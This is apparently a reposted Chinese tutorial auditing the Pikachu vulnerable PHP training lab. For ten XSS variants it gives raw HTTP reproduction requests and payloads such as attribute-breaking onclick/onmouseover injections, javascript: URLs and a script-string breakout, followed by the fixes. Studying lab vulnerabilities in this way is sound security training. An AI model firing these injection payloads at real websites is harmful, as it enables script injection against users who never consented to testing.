1、皮卡丘代码审计(1)

🕗 发布于 2024-03-02 13:55 php 代码审计

XSS

1、反射性xss(一)

限制

submit参数不能为空
前台/后台：前台

复现

在这里插入图片描述

GET /vul/xss/xss_reflected_get.php?message=qws<h1>ssss</h1>ggg&submit=submit HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xss_reflected_get.php?message=23es&submit=submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

代码

在这里插入图片描述

修复

使用htmlspecialchars函数进行html实体化编码

在这里插入图片描述

2、反射性xss(二)

限制

submit参数不能为空
前台/后台：后台

复现

POST /vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xsspost/xss_reflected_post.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

message=111<h1>aaa</h1>s&submit=submit

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

3、存储性xss

限制

message参数不能为空

复现

POST /vul/xss/xss_stored.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xss_stored.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

message=aa<h1>sss</h1>3&submit=submit

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

4、dom型xss(一)

限制

复现

<script>

                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
</script>

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

5、dom型xss(二)

限制

复现

<script>
                    function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                    //试试：'><img src="#" onmouseover="alert('xss')">
                    //试试：' onclick="alert('xss')">,闭合掉就行
</script>

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

6、xss盲打

限制

前台/后台：前台、后台

复现

POST /vul/xss/xssblind/xss_blind.php HTTP/1.1
Host: bbb.com:8882
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bbb.com:8882
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xssblind/xss_blind.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

content=%3Ch1%3Eaaa%3C%2Fh1%3E&name=%3Ch1%3Eccc%3C%2Fh1%3E&submit=%E6%8F%90%E4%BA%A4

在这里插入图片描述

GET /vul/xss/xssblind/admin.php HTTP/1.1
Host: bbb.com:8882
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

7、xss之过滤

限制

message参数不能为空
对<script过滤

复现

GET /vul/xss/xss_01.php?message=111%3Ch1%3Eaaa%3C%2Fh1%3Es&submit=submit HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xss_01.php?message=%27sss&submit=submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

8、xss之htmlspecialchars

xss之htmlspecialchars方法:
1) ' onclick='alert(111)'  
2) ' onmouseover='alert(1)
3) ' onmouseover='javascript:alert(1)'

限制

htmlspecialchars函数过滤
message不能为空

复现

GET /vul/xss/xss_02.php?message=%27+onclick%3D%27alert%28111%29%27&submit=submit HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xss_02.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

在这里插入图片描述

代码

在这里插入图片描述

修复

在这里插入图片描述

9、xss之href

限制

htmlspecialchars函数过滤
$message=htmlspecialchars($_GET['message'],ENT_QUOTES)
message不能为空

复现

GET /vul/xss/xss_03.php?message=javascript%3Aalert%281%29&submit=submit HTTP/1.1
Host: bbb.com:8882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com:8882/vul/xss/xss_03.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ne8pqc7qv0fcvrnbj1vspd981c
Connection: close

在这里插入图片描述

代码

这里虽然有过滤，但是传入的payload，并不会被函数处理（不含有<>'"）

在这里插入图片描述

修复

在这里插入图片描述

(filter_var($message,FILTER_VALIDATE_URL)) 来判断传入的参数是否是一个有效的url

在这里插入图片描述

10、xss之js

补充
此题目作者的含义：
在这里插入图片描述
复现时，需要将代码的内的注释去掉：

限制

message不能为空

复现

GET /vul/xss/xss_04.php?message=%27%3Balert%281%29%3B%2F%2F&submit=submit HTTP/1.1
Host: bbb.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bbb.com/vul/xss/xss_04.php?message=%27%3Balert%281%29%3B%2F%2F&submit=submit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fpm02f02d29h0gn46rpu4jrj59
Connection: close

在这里插入图片描述

代码

接收参数

在这里插入图片描述

将接收的参数输出

在这里插入图片描述

修复

这里假设使用htmlspecialchars函数进行处理

在这里插入图片描述

输入的“ ' ”被转义为html实体化编码，影响最初的功能设计

在这里插入图片描述

所以这里使用“ \ ”过滤，

在这里插入图片描述

再次传入恶意参数，
传入的字符串被“原样输出”，且没有被浏览器解析。

在这里插入图片描述

原文地址：https://blog.csdn.net/YINZHE_/article/details/136412074

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

上一篇：Java Linux基本命令面试题
下一篇：《梦幻西游》本人收集的34个单机版游戏，有详细的视频架设教程，值得收藏

leetcode289:生命游戏
根据，简称为，是英国数学家约翰·何顿·康威在 1970 年发明的细胞自动机。给定一个包含m × n个格子的面板，每一个格子都可以看成是一个细胞。每个细胞都具有一个初始状态：1即为（live），或0即为
阅读更多2024-10-20
MongoDB数据恢复
注意：两个MongoDB的版本要一致，本文使用的是mongo:4.2.24。先把K8S上面的MongoDB 容器停止（可以把副本改成0）。1、将容器挂载MongoDB的数据目录备份到本地。经常是数据文
阅读更多2024-10-20
C#中实现事务
C#中实现事务
阅读更多2024-10-20
【LeetCode每日一题】——560.和为 K 的子数组
给你一个整数数组 nums 和一个整数 k ，请你统计并返回该数组中和为 k 的子数组的个数。子数组是数组中元素的连续非空序列。
阅读更多2024-10-20
「漏洞复现」满客宝智慧食堂系统 selectUserByOrgId 未授权访问漏洞
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。本次
阅读更多2024-10-20
React面试题目（从基本到高级）
React前端面试常见题目涵盖了React的基础概念、组件、状态管理、生命周期、性能优化等多个方面。
阅读更多2024-10-20
12.个人博客系统（Java项目基于spring和vue）
1 在校学习的学生，可用于日常学习使用或是毕业设计使用 2 毕业一到两年的开发人员，用于锻炼自己的独立功能模块设计能力，增强代码编写能力。 3 亦可以部署为商化项目使用。 4 需要完整资料及源码
阅读更多2024-10-20
YoloV8改进策略：注意力改进|DeBiFormer，可变形双级路由注意力|引入DeBiLevelRoutingAttention注意力模块（全网首发）
本次改进的核心在于将DeBiLevelRoutingAttention模块嵌入到YoloV8的主干网络中，具体位置是在SPPF（Spatial Pyramid Pooling Fast）模块之后。这一
阅读更多2024-10-20
word取消自动单词首字母大写
情况说明：在word输入单词后首字母会自动变成大写取消单词首字母大写步骤：（1）点击菜单栏文件（2）点击“更多”——>“选项”（3）点击“校对”——>“自动更正选项”（4）取消“句首字母大
阅读更多2024-10-20
web前端网页用户注册页面
【代码】web前端网页用户注册页面。
阅读更多2024-10-20

1、皮卡丘代码审计(1)

XSS

1、反射性xss(一)

限制

复现

代码

修复

2、反射性xss(二)

限制

复现

代码

修复

3、存储性xss

限制

复现

代码

修复

4、dom型xss(一)

限制

复现

代码

修复

5、dom型xss(二)

限制

复现

代码

修复

6、xss盲打

限制

复现

代码

修复

7、xss之过滤

限制

复现

代码

修复

8、xss之htmlspecialchars

限制

复现

代码

修复

9、xss之href

限制

复现

代码

修复

10、xss之js

限制

复现

代码

修复

相关文章